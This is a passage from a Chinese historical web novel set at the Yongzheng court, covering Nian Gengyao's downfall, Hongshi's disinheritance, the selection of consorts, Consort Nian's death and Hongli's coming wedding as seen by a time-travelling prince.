熹妃听着也笑了出来:“难为这孩子了,平日里最喜欢热闹的。偏偏这次叫他没赶上灯会的热闹,必是要念叨好几日的。” 弘历和旁边伺候的宫女都笑了出来,景仁宫的氛围缓和了不少。 翊坤宫中就没有钟粹宫和景仁宫的热闹了,年贵妃站在窗前看着院中的景象,一边等着田嬷嬷回来。 心中盘算着,等哥哥回京后定要叫哥哥约束家中了。倘若再不约束,只怕年家便的繁华便如水中月镜中花一般,最后只剩下一场空了。 第112章 选秀 年羹尧是在次月回京的,他这次回京的声势不可谓不浩大,甚至因为礼部侍郎三泰所拟奏的礼仪不令雍正满意便降了一级。 在年羹尧进京觐见的时候,一路上所经铺面具皆关闭。甚至连陕西巡抚以及直隶巡抚尽皆需要跪地迎送,直至到了京城,从广宁门进京的时候,王公大臣皆跪于广宁门外迎接。 年羹尧策马而去,不曾给王公大臣们一个眼神。甚至就连他们上前问候,也不过是略微点了点头罢了。 这样的排场让京中之人更加了解了年羹尧此时在皇上心中的地位,想想呐,连上个月冲撞了两位皇子的事情都被高高举起轻轻落下了。这年家真是了不得了,可见便要超过康熙朝的佟半朝了。 况且年贵妃还有皇子呢,当初孝懿仁皇后可没有孩子。皇上这般信重年羹尧,说不定是有心思想要立年贵妃的孩子呢。 这前头年长的三位皇子的外家都平平,只有这位六阿哥的外家有如此的声势呢。更别提皇上还这样宠爱贵妃了,这后宫其他人的宫殿只怕都不曾踏足过两三次,只有贵妃的翊坤宫是常去的。 这样的留言不止传到了弘昼弘历的耳中,也传到了年贵妃翊坤宫上下的耳中。 当年贵妃从洒扫的小太监口中听到这种话的时候,她几乎是要发抖了起来。当即便下令整肃翊坤宫上下,若还有人说出这样的话,便即刻退回内务府。 翊坤宫可是极好的差事,年贵妃和六阿哥得宠,赏赐下人的时候手笔也大方。出去办事的时候听闻是翊坤宫的,哪怕是管事也是要高看一眼的。听了年贵妃这话,又见当真打发出去了两三人后,一个个便噤若寒蝉。 但年贵妃的心中还是忧虑的,二哥不论再怎么立功,可到底是臣子。二品大员跪地迎送还是太出格了,更别提进京的时候王公大臣皆跪地相迎了。 但她心中再忧虑,一时半刻也见不到年羹尧。只能等着皇上为这位功臣举办宴会的时候想要同二哥说上两句话,多少要保持些警醒。 弘昼也是在这个宴会上看见年羹尧的,这位在这段时间出尽了风头的年大将军长得极为魁梧。身材雄壮,四肢有力,走起路的时候有着地动山摇之感,一看就知道是能上阵杀敌的虎将。 难得的是,年羹尧其实是进士出身,正儿八经考科举上来的。也就是这位是货真价实的文武双全的全才,难怪能立下这么多的功劳。 年羹尧的身后跟着几个穿着锦衣华服的年轻男子,其中有弘昼很熟悉的年斌和年寿。 那两人在看到弘昼的时候不自觉就低下了脑袋,回去的时候玛法已经狠狠地教训过他们了。倒是阿玛听说了这件事后不以为意,认为又没有当真和皇子动手算什么大事。 这个宴会其实挺无聊的,总体来说就是雍正褒奖了一下年羹尧这段时间立下的功绩。平定青海的战功,还有治理他管辖的几个省的功劳。 一般人听到顶头上司这样夸赞,都是会意思意思地表示一下谦虚的。但年羹尧可是个妙人,在听到雍正的夸奖后不仅没有一点谦虚的意思,还极为高傲地表示日后定会立下比之更高的功劳。 听到的时候弘昼都惊了,年羹尧现在已经接近封无可封了。盖因清朝初期封了几位异姓藩王后在康熙年间搞出了三藩之乱的缘故,现在是不大可能封活着的异姓王了,死后追谥还有点可能。 年羹尧如今已经是一等功,同时领着抚远大将军的官职,手下管着几个省的军政大权,进京后赏赐了双眼孔雀翎和四团龙补服还有黄带子这样代表身份的东西。甚至听闻还准备赏赐给年羹尧一个爵位,当然了,年羹尧此时身上已经有一个一等公的爵位了,这个爵位当真赏下来多半是要给他的二子了。 听到年羹尧的话后,弘昼保证他看到了汗阿玛的脸僵了一下。 直到宴会结束,年贵妃也没有找到单独和年羹尧说说话的机会,只能无奈地带着福惠回到了翊坤宫。 年羹尧在京城中待的时间不算长,统共就两三个月,但得罪的人不太少。能同时得罪隆科多还有怡亲王,这样也是极为罕见了。 特别是怡亲王,怡亲王是个有些侠气的人,平常的些许冒犯是不容易被他记在心中的。弘暾和弘晈那次回去之后还被他教训了一番,说是带着皇子竟然还敢去蹚浑水。 所以当弘昼知道这位年大将军能得罪十三叔的时候,觉得年大将军日后不论干出什么事情都不会令他惊讶了。 年贵妃是求到了恩典见一面年羹尧的,但二哥的态度令贵妃大失所望。原本贵妃以为家中也就额娘和几位嫂子还有侄儿们是拎不清的,听了阿玛罚了两个侄儿的事情都以为阿玛是能拎得清的。 但是见了二哥后才发现,原本如今在宫外的一家子都拎不清了。 年羹尧见妹妹蹙着眉脸上尽是担忧之态后哈哈笑道:“妹妹就放心吧,好好在宫中照顾福惠就是。如今我在皇上面前的脸,也让妹妹在后宫能得意些。” “我在后宫已经够得意了,”年贵妃露出了一点凄楚的神情,“只要兄长能约束好宫外的家人,咱们年家才能更长久。” 难得能见妹妹一面年羹尧也不想扫兴,他表面上应了,但心里却不以为意。年贵妃明显看出来了,但她又劝不动兄长,只能在心中无奈。 年羹尧从京城回到西北的时候,已经是次年了。 青海的事情已经基本平定,直隶的摊丁入亩这样的政策也推行了下去,雍正终于腾出手来收拾老八这一党派的人了。 同时钦天监的人夜观星象,看到了日月合璧,五星连珠的祥瑞。这是古今难见的大吉之兆,雍正得知的第一时间便宣旨晓谕各地。 这也让雍正下定了决心是该将这些朝堂的不稳定因素抹去了,他如今大权在握,又刚刚平定了青海西北的战乱。此时又出了祥瑞之兆,难道不是最佳的整治老八他们一党的时机吗? 这次清算持续了许久,老九之前便被发遣到了西宁。可他在西宁也并不安宁,不仅纵容下人骚扰民间,还对雍正派去训斥他的钦差不曾以礼相待。又加之查抄老十府中的时候发现了与老九联络的密信,这一封信将两兄弟都锤到了地底,于是老九也被革去了贝子爵位。 相比之下,廉亲王老八就要谨慎许多了。虽然被多次申斥,但面上仍旧不动声色。最后还是按捺不住被抓了小辫子,宗人府议后决定革去王爵,撤出佐领。同时派遣兵马于老八府邸旁守卫,遣上三旗侍卫每日派四人随行老八。 廉亲王的招牌被摘下来之后,原本就门庭冷落的府邸就更为寂寥了。 “老十已经被拘禁了,老九也革去爵位押解入京了。”八福晋的声音很平静,“咱们府外日日夜夜都有人看守着,如今也不过是案板上的鱼罢了。” 老八和弘旺也憔悴了不少,三个人凑在一起弥漫着一股沉默的悲伤。 “刀已经落在咱们脖颈之上了,”老八的眼睫微微垂着,他似乎是想起了从前年幼时和四哥关系还不错的时光了,“这何时落下,咱们说的可不算了。” “静瑜,”老八抬头看向了八福晋,“我即刻写下休书,你明日便归家去吧。” 弘旺愣了,马上看向了八福晋。 八福晋深吸了两口气,脸都气红了:“难不成在你老八心中,我是那等贪生怕死之人不成?” “我知你不是这等人,”老八平静地说道,“我和弘旺是走不掉的,从老四上位那一刻起我们的结局就已经定下来了。可你不同,你只要被休后还是能好好活着的,也能照拂女儿片刻。” 说到女儿的时候老八的语气流露出了一点悲伤,他一共只有一儿一女,他被清算,儿子弘旺肯定也躲不过。但是女儿就不一定了,虽然日后定然会被指去蒙古,但到底还是能嫁出去,不会被他这个阿玛彻底连累。 八福晋也沉默了,这个女儿是从小就养在她膝下的。比之弘旺被养了几年后就送到前院不同,这个女儿一出生就养在她身边到如今,要说没有一点感情是不可能的。 见八福晋的脸上有了点松动,老八艰难地笑了一下:“这辈子让你嫁我,却不曾让你过什么好日子。汗阿玛还在的时候我不过是个贝勒,你在妯娌中也不能撑起八面威风的架子,还要替我照料老九老十和十四的福晋。” “待之前成了亲王,却不过是个随时都能被废的亲王罢了。倘若还有来生,我必不愿负你。” 八福晋的泪水从眼眶慢慢地流淌下来了,她微微偏过头去不想让这父子二人看她如今的姿态。 “阿玛,”半晌后弘旺突然笑了一声说道,“如今咱们虽说已经注定要被打落尘埃了,但不妨在落下去之前也叫皇上尝尝锥心之痛。” 老八的眼神看了过去,和弘旺对视的一瞬间福至心灵。 第二日的朝会,弘昼照例在朝堂上发呆。他现在已经十四了,今年开始身高蹿了不少,已经快要有汗阿玛了。所以在朝堂上立着发呆的时候,他自己不觉得,但其余人看着还是有些显眼的。 弘时的手里紧紧地攥着一张帕子,手心里面已经全是汗水了。 汗阿玛对着八叔九叔他们的打击这样急切,这样的事情落在史官的笔上是要被骂上千百年的。他不能看着汗阿玛这样一意孤行下去了,逼死兄弟这样的名头可一点也不好听。 就算冒着被汗阿玛骂一顿的风险,他也一定要把其中的利害剖析给汗阿玛听。千万不能让汗阿玛做下这样的事情,到时候等年老了必然是追悔莫及的。 前面奏报事情的大臣们都已经报得差不多了,雍正旁边的苏培盛已经在喊有事启奏无事退朝了。 就在这时候,弘时往外迈出了一步,大声道:“汗阿玛,儿臣有奏。” 皇子们的站位是在一起的,弘时的这一声让弘昼有些受惊。猛地抬起头来看着弘时,表情很是茫然。他记得这位三哥和他一样都没有领到什么差事啊,已经在朝堂上站了快三四年了,*怎么突然就有奏报了。 雍正的视线在触及弘时的时候已经彻底冷了下来,老八的府外有他的人。弘旺出府这样的事情自然是瞒不得他的,同时他也知道弘旺出去后就找了弘时。 可他当时心中是有一点期许的,已经过了一两年了,说不定弘时也能长进一点。现在瞧着,不仅一点也没有长进,甚至还更蠢了点。 原本都已经打算退出去的官员们好奇地看着三阿哥,这位一直在朝堂上都是默默无闻的,今日也不知道是有什么大事。 但雍正明显没打算让这些臣子听,依旧让苏培盛宣布了散朝。 弘时急急地抬头看去,就对上了雍正深如寒潭的眼眸,让他一下子就噤声了。 官员们退出去得很快,这明显就是皇上家事,他们才不想退出去慢些被惦记了呢。 弘昼犹豫了片刻,又看了看旁边的四哥,也跟着退了出去。 等大殿内的人都走了出去后,雍正慢慢地起身走到了弘时的身旁。此时弘时依旧是跪着的,仰着头看着雍正。 “你想说什么?”雍正的声音冷得有些刺骨。 他在心中想着,这是最后一次了。已经给了弘时这么多机会了,看在怀恪的份上已经给了很多次机会了,他再也不能容忍这个蠢货继续给他丢脸了。 弘时没由来地打了一个寒颤,但他还是坚持要把话都说完:“汗阿玛,你都已经是皇帝了,给八叔九叔他们一条生路又如何呢?倘若真的逼死兄弟,待您百年之后史书上又会如何记载呢?会记载您是个刻薄寡恩的皇帝,连亲生兄弟都容不下。您已经将十四叔幽禁在了景陵,将八叔九叔手中的权力都缴了,为何不能容他们活着呢?” 雍正的眼睛轻微地闭了一下,他还是想不通为什么弘时会这样愚蠢。明明不论是怀恪还是弘昀都是极为聪慧的孩子,同是李氏所出,为什么这个孩子就蠢得让人连与他多说两句话都觉得厌烦。 “你还有别的话想说吗?”雍正的语气很是平静,他刚刚已经给过这个孩子最后的机会了。既然没有把握住,想来也是不缺这个机会的。 见汗阿玛似乎并未动怒,弘时的心中一喜,想来是他的劝诫被汗阿玛听进去了。 “玛法膝下子嗣众多,从前便喜欢看到兄友弟恭之态。想来若是汗阿玛愿意宽容几位叔父,也能叫玛法在地下心生安慰。” “嗯,还有吗?” 弘时索性一股脑将该宽恕老八老九老十的话全说了出来,言语中还有些不满雍正将十四圈禁在了景陵。 雍正很是耐心地听完了弘时的话语,最后才问道:“你既这样劝我兄友弟恭,为何又不肯对弘历弘昼友爱,不愿意自己兄友弟恭呢?” 弘时脸上的笑意僵在了原地,那怎么能一样。八叔对汗阿玛一向恭敬,是汗阿玛不愿饶人。但弘历和弘昼这两个畜生,对他这个兄长可没什么恭敬。 见弘时不答,雍正也没有想到一定要得到他的答案,而是直起了身子,声音冷淡:“既然你这么喜欢你八叔,那朕便将你过继出去,做他的儿子如何?正好你不愿同弘历和弘昼兄友弟恭,但又与弘旺的关系甚好,想来你和弘旺定是能兄友弟恭的。” 说完这句话后,雍正大声吩咐道:“来人去将三阿哥逐出宫去,从此玉碟改做允禩的儿子,从此与朕再无半点父子之谊。” 弘时被这一句话镇住了,连忙抬头看着雍正,随后磕头求饶:“汗阿玛,汗阿玛,儿臣知道错了,儿臣定然再也不会给八叔,不,再也不给允禩求情了。” 原本在弘时的计划中,他这样直言不讳的人,是该受到汗阿玛的嘉奖的。但令他没想到的是,迎来的不是嘉奖,而是逐出宫廷。 逐出宫廷还改了玉碟,那他以后就不再是皇子了,而是真真正正地成了老八的儿子。从前老八还有个和硕亲王的爵位,如今可已经被革爵了。 苏培盛也被吓了一跳,但还是马上令侍卫将弘时拖下去了。 弘时的求饶声传得很远,不多时,这件事就传遍了宫廷。 齐妃跑过来求情,在养心殿外跪晕了都没等来雍正的召见。他已经下定了决心了,弘时这个孩子天生就同他没有父子情分,既然他那么喜欢老八,那就去当老八的儿子吧。 消息传到了弘昼这里的时候,他是确确实实愣了好一阵子的。虽然他一直觉得三哥有点蠢,但也是真没想到能蠢成这样。即便从前汗阿玛和八叔是有点兄弟情谊,可在这么多年的敌对之下,这点兄弟情谊早就不见了,取而代之的是仇视和敌对了。 他实在是想不明白,八叔到底是给了弘时什么好处,在这样的情况下弘时都愿意帮八叔求情。 当弘时和家眷被御前侍卫押着到老八的府邸时,看着眼前残破的府邸,弘时痛哭流涕想要见汗阿玛。但是他已经没了能进宫的资格,也见不到皇上了。 看见这个新鲜出炉的大哥,弘旺倒是不排斥。左右现在府上没了爵位,这个大哥来了之后也没什么好争的,反倒是日后一起被圈禁流放的时候能有个伴。 八福晋已经领了休书走了,如今府上只有老八和弘旺两父子,多了弘时这一家子倒也住得开。门外雍正安排的侍卫不许弘时随意出去,他进了府后肉眼可见地瘦了一圈。 朝野上下劝雍正的人不少,毕竟他儿子确实不算多。总共就四个儿子,怎么就还能送出去一个呢。 连皇后都来劝过两次,其实按照私心里皇后是不想来蹚这趟浑水的。但无奈她身为皇后,在这样的事情上就肯定要说话。 但雍正下定了决定,不论谁来劝都没用。直到内务府将弘时的玉碟改到了允禩名下之后,这件事才算完全没了转圜。 皇上将儿子逐出去在京城里闹了沸沸扬扬的几个月,先帝也并非没有过继过儿子。不过都是过继到亲王府中,能让儿子继承和硕亲王原本的家产属官,还能再赏赐一批过来,这个过继的儿子是绝对不亏的。 可现在廉亲王的爵位已经没了,眼看着马上就要被清算了,现在送过去那就当真是只有苦了。 在将弘时逐出去的同时,雍正逐渐对年羹尧心生了点芥蒂。年羹尧之前回京的时候便显得居功自傲,雍正当时就有点不喜,可到底年羹尧才立下了大功。现在回了西北更是,不仅对老九有些优容,甚至把“朝乾夕惕”写成了“夕惕朝乾”。 在雍正的心中,年羹尧从来不是个粗心大意的人。当然,粗心大意的人多半是不会走到这个位置的。所以这个举动就显得有些刻意了,是刻意对他这个皇上不敬。 但这些事情都暂时不能让弘昼弘历关注了,他们现在主动或者被迫地开始关注一件事,自雍正登基以来还未举办过选秀,现在终于要开始选秀了。 他们俩现在都已经十四了,按照规矩是要定亲或者直接成亲了。也就是说,这一届选秀很可能要直接给他们俩指一个福晋,甚至可能还捎带着指几个格格或者侧福晋。 弘昼听到这个消息的时候被雷得不轻,天爷啊,他现在才十四啊。 第113章 年贵妃死 知道这个消息的时候,弘昼正在钟粹宫中给额娘请安。 过来的时候才知道熹妃也在这里,见到钮祜禄额娘的时候弘昼还有点惊讶。 因为最近宫里头年贵妃的身体愈加差了,原本她身上协理后宫的担子就到了熹妃的头上。其实按照排序是该齐妃的,齐妃在潜邸时是侧福晋,又生了长子。 只可惜弘时现在被过继给了老八,齐妃去求情后一病不起,听闻如今在延禧宫中汤药不断。前头的两个妃子都病了,那也只能熹妃顶上了,毕竟她是如今妃位上唯一的人了,再往下就是裕嫔耿执羽和懋嫔了。 听见外面的人禀报是五阿哥来了,熹妃脸上也露出了笑意:“好久没见到弘昼了,这哥俩自从在上书房中念书,都没什么时间来后宫陪着咱们了。” 耿执羽很随意地倚靠在榻上:“可别提了,这小子长大了也开始想要出去野了。这段日子就盼着能找皇上要那个能随意出宫的令牌了,想来能随意出宫之后,就更想不起给咱们请安了。” “弘历也是啊,”熹妃摇头笑道,“这还是养女儿好啊,去给皇后娘娘请安的时候,看见她那里两位公主陪着,有时候还真是羡慕啊。” 皇后收养的三位公主,其中最大的淑慎公主进宫的时候就已经是能许婚的年纪了。皇后留在身边养了不久后就封了和硕淑慎公主,许给了科尔沁,如今都已经嫁到草原上去了。 正说着话,弘昼就从外面走进来了,恰好就听到了这一句。 “我就知道,”弘昼摇头搞怪道,“我就知道额娘从前就想要个女儿,如今更是嫌弃我不能如女孩一般日日陪在身边了。这长大之后哇,就像根草啊~” 弘昼的语气极为搞怪,让耿执羽和熹妃一下子就笑出来了。 看见两位额娘都笑了之后,弘昼才正正经经行礼,在这后宫礼是不能废的。 叫起之后,熹妃对着耿执羽说道:“要说都是儿子,但还是弘昼这个儿子更好些。弘历如今也太正经了些,有时候瞧着那孩子和我说话跟奏对似的,一板一眼的。哪儿会像弘昼这样讨妹妹的欢心,这即便是都是养的儿子,也是不一样的啊。” 这一点熹妃是真的羡慕,自己儿子越长大越正经了。也不是说正经不好,可看见弘昼待耿妹妹越发体贴,有时候心里还是有点发酸的。都是养的儿子,甚至可以说是一起养大的,但偏偏养大后的待遇就不一样了。 “那钮祜禄额娘疼我呗,”弘昼嘻嘻哈哈凑上前去,“日后我也孝敬额娘,额娘别疼四哥了。” “好,好,疼你。”熹妃在弘昼的额头上点了一下,戏谑道,“这回选秀,钮祜禄额娘就和你额娘一起给你看个贤惠漂亮的福晋,如何?” 说到这个,耿执羽也来了精神,八卦地看向了弘昼:“你喜欢什么样的女子?去年本该给你赐两个格格的,但你死活都不要,现在选秀了该定下福晋了,先说说你喜欢什么样的,额娘也好给你留意着。” 去年的时候,雍正不知怎么突然想起了要给两个儿子赐宫女,便让他们各自的额娘去办了。弘昼最开始的时候还不知道是怎么回事,还认真和额娘说了感觉太监在身边伺候更自在些。 后面知道了后便死命推了,他才十三岁啊。耿执羽见他非不要之后索性去禀了雍正,雍正找这小子谈了谈之后便遂了他的意。 当然了,雍正也没把他说的只要一个福晋当回事,但也懒得和这小子多说了。日后等他成婚了自己会要的,到时候只需拿出他现在的话嘲笑他就是了。 “额娘,”弘昼拼命眨了两下眼,“孩儿现在还小啊,等下一届选秀再说吧。” 下一届选秀他十七岁了,那时候定下一个人,再慢慢准备着婚礼,他再想办法拖一拖。再怎么也能拖到十九二十,十四五成婚对他来说还是太超前了。 耿执羽略皱了皱眉,上下看了看弘昼有点奇怪:“这可是你汗阿玛说的话,你想要下一届再挑福晋的话,得你自己去说。” “我自己去说就自己去说,”弘昼倒是一点也不怕,“两位额娘就只用给四哥挑就是了,对了,钮祜禄额娘,四哥说了他喜欢什么样的吗?” 熹妃说到这也皱了眉,叹道:“你四哥说选我喜欢的,那是要和他过日子的人,怎么能选我喜欢的。且看你汗阿玛有没有什么好的人选吧,到时候我再瞧瞧。” 如今皇上的四个儿子,三阿哥被过继出去之后就只有三个了。六阿哥又体弱多病,还不一定能养活呢。剩下的就四阿哥和五阿哥了,瞧这两位的样子,傻子也能看出来皇上更加属意谁了。 熹妃自己心中也有了点猜测,所以她给弘历选福晋的时候就不免游移。担心若是选的小门小户的会让弘历在这方面吃了亏,又担心选高门大户的会让皇上猜忌。进退两难之下,她如今是头疼极了。 便想要将这个难题推给雍正,让雍正来选总没错了。 熹妃和耿执羽又开始说起了选秀的姑娘,弘昼在这里实在是有点待不住了,马上找了借口就想要跑。 看着弘昼这落荒而逃的背影,耿执羽无奈叹道:“怎么会有这样不想要成家的孩子。” “这也没什么,”熹妃笑道,“许是贪玩不想成家,过两三年就是了。” 她们俩是刚进潜邸时就攒下的感情基础了,如今身份发生了天翻地覆的变化后也不曾改变。耿执羽并非愚人,在消息足够的情况下也是能看清楚前朝后宫的局势的。多少也明白了弘历多半是储君的人,而弘昼则早早就出局了。 不过她也不担心,弘昼日后总归一个和硕亲王的爵位是能有的。弘历这孩子和弘昼的关系好,哥俩的感情是从小相处起来的,也不怕日后兄长上位后这孩子过得不好。 弘昼跑出额娘的宫殿后,就将这件事暂且抛之了脑后。反正已经和额娘说了要等下一届选秀,额娘一般也不会罔顾他的意愿的。 但等到第二天弘昼等来雍正的召见后,就有点傻眼了。 雍正也是无奈了,他也不曾听闻汗阿玛因为这些事和孩子谈过心啊。还记得那时候都是汗阿玛看重了哪家大人,其家中有适龄的姑娘就直接指婚。 “你额娘同我说了,”雍正看着下面那个站都不好好站的儿子,无奈道,“我在你这个年纪的时候已经同你皇额娘成婚了,你为何不愿成婚?” “孩儿觉得可以再晚几年,”弘昼的眼睛溜了一圈说道,“娶妻之事又不急,孩儿如今才十四,又不是四十了,完全没必要着急啊。” 雍正说道:“你成婚后就能盘算着开府了。” 知道这小子想要什么,雍正直接就甩出了王炸。 弘昼的心狠狠地动了一下,汗阿玛是真的知道他的七寸在哪里的。 不过他还是忍痛拒绝了,让他现在成婚是真的不行啊。 雍正见这样他都不同意,心里讶异了一下。他心中最知道弘昼是多想要出宫开府的,这几日里喜欢在他跟前凑,就是想要拿一个能随意进出宫中的权利。 现在弘昼上书房的学业也不重了,这个年纪了该学的也学得差不多了。甚至如今每日里他都是上朝后再去上书房了,先生们教的时间也减少了许多。 “既如此,我也不好勉强了,”雍正观察着弘昼的脸色说道,“那你就等着下一届选秀的时候再指福晋了。” 眼见弘昼完全是松了一口气的样子,雍正又杀了个回马枪。 “不过你想要自由出宫是不能了,也等三年吧。” 弘昼的眼睛睁大,完全是一副痛心疾首的样子。汗阿玛怎么能把这件事和出宫绑定呢,有点太过犯规了。 看到弘昼的神情,雍正满意地挥了挥手让他退下。这小子给他找事,那他也给这小子找点不痛快。 不想成婚,行啊,你不出宫就是了。 弘昼还想多说几句,但看见汗阿玛赶苍蝇一样的手势只能退了下来。他在心中安慰着自己,没事的,没事的,等几个月后汗阿玛忘了这件事情就能再在汗阿玛的面前提出宫的事情了。 最终这一届选秀还是只定下了弘历的福晋,选的是李荣保家的女儿。同时还选了两个格格一起进了弘历的毓庆宫。 弘昼没有见过这位四嫂,只是听额娘和钮祜禄额娘聊天的时候提起过的。是一位进退有度,娴静端庄的好姑娘,看钮祜禄额娘提起的意思,应该还是挺满意的。 选秀的事情毕了之后,年贵妃的身子越发不如从前了。或许是看到了雍正对年家的信任不再,都将年羹尧从抚远大将军贬成了杭州将军。 听太医露出的口风来说,年贵妃很难过今年的冬天了。 听到这话的时候弘昼都惊了,在他的印象中年贵妃虽然身子一直不好,但整体也没有病弱到要去世的程度。 下一刻他就有点同情福惠了,这孩子还这么小,若是额娘去了的话,即便汗阿玛将他护得紧,只怕也没有额娘在世的时候好过。 因着年贵妃病重的缘故,雍正打算给她晋一级来冲冲喜。 皇贵妃的册封旨意送到翊坤宫的时候,年贵妃已经病得起不来床了。她在先帝葬礼时流产后,身体就更差了。 这几年间一直调养着也不见好,如今听到年家的处境之后身子直接就垮了下去了。 “额娘,”福惠的眼睛红红的,“额娘,汗阿玛封了您做皇贵妃,额娘一定要好起来啊。等额娘好了,还要带我去御花园放风筝的。” 年贵妃想要对这个孩子笑了笑,她自己的身体自己知道,已经感知到自己似乎已经走到了生命的尽头。原本以为能看着这孩子长大的,能看着这孩子出宫开府娶福晋的,如今却是不能了。 “福惠,”年贵妃的声音虚弱,近乎耳语,“日后……你一定要……好好和两个兄长相处,不……不要去肖想那个位置。好好……当弟弟,当个亲王……” 年家如今已经倒了,二哥失了圣心,其余人又立不起来。这时候的年家,对福惠来说是个累赘了。 但她相信皇上对她的情谊的,皇上定然不会对年家赶尽杀绝的。只要福惠好好当个好儿子,好弟弟,日后也能有个和硕亲王的爵位。 福惠哭着点头:“额娘说的话我知道,额娘要快些好起来才行啊。儿子,儿子还等着额娘日后提点儿子呢……” 年贵妃的眼神哀伤而温柔,她怕是等不到那一日了。 自从准备处置年羹尧后,雍正就没有去过翊坤宫了。他不怕年贵妃对他求情,但害怕年贵妃看向他失望的眼神。 可听着太医的禀报,这个陪伴了自己十几年,给自己生育了好几个儿女的人的生命走到了尽头。雍正还是忍不住在下旨封她为皇贵妃后,来到了翊坤宫。 “清凝……”看着眼前这个骨瘦如柴的人,雍正险些要认不出她了。 短短两月之间,年贵妃从瘦弱变成了骨瘦如柴。整个人似乎只剩下了一把骨头一般,瘦得吓人。 现在年贵妃有了点精神,甚至对着雍正笑了笑,她知道现在是她最后的时间了。 “皇上,”年贵妃那双轻灵的眸子看着她,用尽全力微微抬起了雪白的脖颈,说道,“臣妾要先走一步了。” “不,不,清凝,太医会治好你的。” 年贵妃轻轻摇动了一下脑袋,这一下似乎就已经让她有些力竭了:“臣妾知道自己的身子,只盼着,待臣妾百年之后,皇上能多看顾福惠。臣妾去了之后,福惠就只有皇上能护着了。” 雍正的眼眶涌出了一点泪意,点了点头:“福惠是朕最钟爱的儿子。” 听见雍正这样说,年贵妃似乎放心了点,似乎想说什么,但直到最后也没有说。只是用那双眼睛看着雍正,眼里的哀伤似乎是化不尽的。 她还是没有选择用这辈子最后的一点时间来给年家求情。 年贵妃去世了,雍正才开始对年家动手。 他下令的时候总会想起年贵妃的那双眼睛,最终还是选择了给年家留些体面。只是将年羹尧赐死,年遐龄、年希尧夺官免罪。 福惠也从翊坤宫搬到了养心殿居住,雍正将这个孩子看得很紧,旁人有一点不恭敬都要问罪。 第114章 求情吧 选秀结束后,便是要给弘历举办婚礼了。 熹妃很是忙活了一阵子,甚至也将耿执羽拉去帮忙了。 这雍正第一个皇子在宫里成婚,弘时是在潜邸的时候娶福晋的。是以他也很是重视,三五不时地就将熹妃叫过去问问进度。 六礼的流程走了大半年才到了请期,剩下的就是最后一个亲迎了,这时候弘历已然过了十五岁的生辰了。 于是,弘昼很敏锐地发现了,四哥这段时间开始神思不属了。 “四哥,”弘昼叫了一声,见弘历似乎是没听见的样子,又扬起声音再叫了一声,“四哥!” 弘历被这声吓了一跳,茫然地看向了弘昼:“你叫这么大声做什么?” “叫了你两三遍了,都不见你回答我。”弘昼凑近了些,戏谑道,“想什么呢,莫不是在想你过几日就要成婚了。” 前头的纳采问名之类的流程有熹妃,也有内务府,需要弘历出面的事情其实不多。但最近他可就忙了,特别是半个月后就是定的佳期,如今紫禁城中已经为了这桩事忙碌了一个多月了。 “胡说八道什么呢,”弘历不自在地轻轻咳嗽了一声,说道,“就知道在这打趣我,我看你还是太闲了,莫不是想要我给你找点事做。” 弘昼很自然地坐在了弘历的对面,用手撑着自己的下巴,整个人将浑身的力气都压到了桌子上,无奈道:“汗阿玛又不许我随意出宫,我如今上书房也不用怎么去了,可不就闲了嘛。前儿我还去找和惠玩了会儿呢,那小姑娘也长大了些。” 都闲到去找妹妹了,这让弘历有些无语:“那你何不答应汗阿玛的话,让他给你指一门婚事,只要你成婚了还怕不能随意出入宫闱吗?” “那我不要。”弘昼的脑袋摇得和拨浪鼓一样。 如果他是个土生土长的清朝人,多半是不会抗拒的。但不同的是他在成为清朝人之前,先接受了现代的教育,怎么说也是读过大学的人。一想到娶来的福晋也是十三四岁的,他身上就仿佛有一种说不明的罪恶一样。 所以还是算了,等下一届选秀再说。到时候和额娘说自己喜欢成熟些的,指个不那么小的,可惜秀女的年龄最大的也就十七,要是能截止二十七就好了。 弘历没好气地看了眼这小子,又不愿意成婚,偏偏还喜欢来打趣自己,真是欠教训了。 “既然这么闲,”弘历说道,“汗阿玛正好派了我些差事,若是能做好的话,想来汗阿玛心中也会宽慰许多。到时候心情一好,说不定就允你出宫了。” “那更是算了。”弘昼又蔫儿了,他虽然闲,但是也不想做正事。 “对了,”弘昼又想起一事,“听闻汗阿玛已经叫人革去八叔九叔的黄带子,将他们圈禁与宗人府了,还叫他们改名。可三哥已经被过继出去了,那三哥……” 弘历听懂了弘昼口中的未尽之语,淡声说道:“三哥既然玉碟都已经改在了八叔名下了,自然和弘旺一个待遇。” 同样被革去了黄带子,以后连皇室子弟的待遇都享受不了。 弘时这样的下落,弘昼本来觉得他是应该觉得欢喜的。毕竟他从小就不喜欢三哥,甚至称得上是厌恶了。从前的那些过节如今一一数来,似乎都犹在眼前。 可是见他这样的下落,他又有点齿冷。曾几何时,三哥也是汗阿玛最为看重的儿子,之前他和四哥两个人捆起来都不一定能及得上三哥一个人的分量。 “你既提到了三哥,”弘历微微抬头说道,“那我们过几日一起去内务府瞧瞧他,再去汗阿玛的面前为三哥委婉地说一说情。” 弘昼不大乐意地瘪嘴,他觉得齿冷是因为汗阿玛的所作所为,可不是因为同情三哥。 见弘昼一副不大乐意的样子,弘历无奈:“不过是去做个样子罢了,咱们虽然和三哥多有龃龉,但在汗阿玛的眼中不过是小打小闹罢了。倘若三哥落得这样的下场咱们都不曾求情,只怕汗阿玛是要多想的。” “做样子我也不想,”弘昼说道,“他从前用蹴鞠踢我的时候怎么没想着做样子。” 要是他真是小孩子肯定也不会记得,但偏偏他又不是真的小孩子,同时也是个记仇的人。 “他如今都落得这个下场了,你又何必再计较。”弘历说道,“你如今在汗阿玛面前落得个兄友弟恭的名声有何不好,反正他从今以后连宗室之人都不是了。” 见弘昼不说话了,弘历嘱咐道:“过几日我带着你去就是了,你且不必说话,只用跟着我就行了。” 即便弘历最近已经因为婚事将近忙得晕头转向的,也还是抽出了一天带着弘昼前去探望弘时。 弘时自从宫里搬出来后便郁结于心,如今知道自己黄带子也被革了之后更是一病不起。见到弘昼和弘历前来,他冷笑了两声后,便将脑袋转向了床榻里面,一点也不想看到他们。 按照之前所想,弘历说了些抚慰的话,也不在意弘时不搭理他们。只是带着笑让三哥好好保重身子,同时给他们这里送了一批药。 弘时福晋苦笑着接着他们的东西,如今三阿哥已经不是宗室,每个月从宗人府领的东西是没有了。虽然现在没有过得穷困,但到底还是不宽裕了。 看完了弘时之后,弘历便带着弘昼来到了养心殿求见。 他们俩对于养心殿已经很熟悉了,特别是弘历几乎每日里都要来这里报到。弘昼来的次数也不算少,不过相比于弘历来这里汇报差事,他来这多是挨训了。 “参加汗阿玛。” 